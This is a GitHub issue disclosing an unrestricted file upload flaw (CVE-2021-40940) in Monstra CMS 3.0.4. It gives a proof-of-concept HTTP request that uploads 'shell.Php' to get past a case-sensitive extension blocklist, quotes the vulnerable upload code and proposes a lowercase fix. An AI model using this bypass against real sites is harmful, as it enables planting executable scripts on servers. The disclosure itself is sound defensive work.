Headline
CVE-2021-40940: Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability · Issue #471 · monstra-cms/monstra
Monstra 3.0.4 does not filter the case of php, which leads to an unrestricted file upload vulnerability.
Brief of this vulnerability
The Monstra 3.0.4 source code does not filter the case of php, which leads to an unrestricted file upload vulnerability.
Test Environment
Apache/2.4.41 (Ubuntu20.04)
PHP 7.4.3
Affect version****POC
POST /monstra/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: localhost:80
Content-Length: 442
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:65003
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6KF8q8SlXAspgP7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:65003/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nlofifites91aq2tsi1s520298
Connection: close
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="csrf"
8ff9a93b1f09f4dfa18e06c201b7355e602ea9ce
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="file"; filename="shell.Php"
Content-Type: text/plain
<?php echo "This is a test";?>
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="upload_file"
上传
------WebKitFormBoundaryD6KF8q8SlXAspgP7--
Execute successfully
Reason of This Vulnerability
$_FILES[‘file’][‘name’] in the Upload file module does not check whether the file extension is case,Vulnerability file:/plugins/box/filesmanager/filesmanager.admin.php
// Upload file
// -------------------------------------
if (Request::post('upload_file')) {
if (Security::check(Request::post('csrf'))) {
$error = false;
if ($_FILES['file']) {
if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
$filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
$uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
if ($uploaded !== false && is_file($filepath)) {
Notification::set('success', __('File was uploaded', 'filesmanager'));
} else {
$error = 'File was not uploaded';
}
} else {
$error = 'Forbidden file type';
}
} else {
$error = 'File was not uploaded';
}
if ($error) {
Notification::set('error', __($error, 'filesmanager'));
}
if (Request::post('dragndrop')) {
Request::shutdown();
} else {
Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
}
} else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
}
Repair suggestions
Add case verification at $_FILES[‘file’][‘name’], as follows:
// Upload file
// -------------------------------------
if (Request::post('upload_file')) {
if (Security::check(Request::post('csrf'))) {
$error = false;
if ($_FILES['file']) {
$_FILES['file']['name']=strtolower($_FILES['file']['name']); //Change uppercase to lowercase
if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
$filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
$uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
if ($uploaded !== false && is_file($filepath)) {
Notification::set('success', __('File was uploaded', 'filesmanager'));
} else {
$error = 'File was not uploaded';
}
} else {
$error = 'Forbidden file type';
}
} else {
$error = 'File was not uploaded';
}
if ($error) {
Notification::set('error', __($error, 'filesmanager'));
}
if (Request::post('dragndrop')) {
Request::shutdown();
} else {
Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
}
} else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
}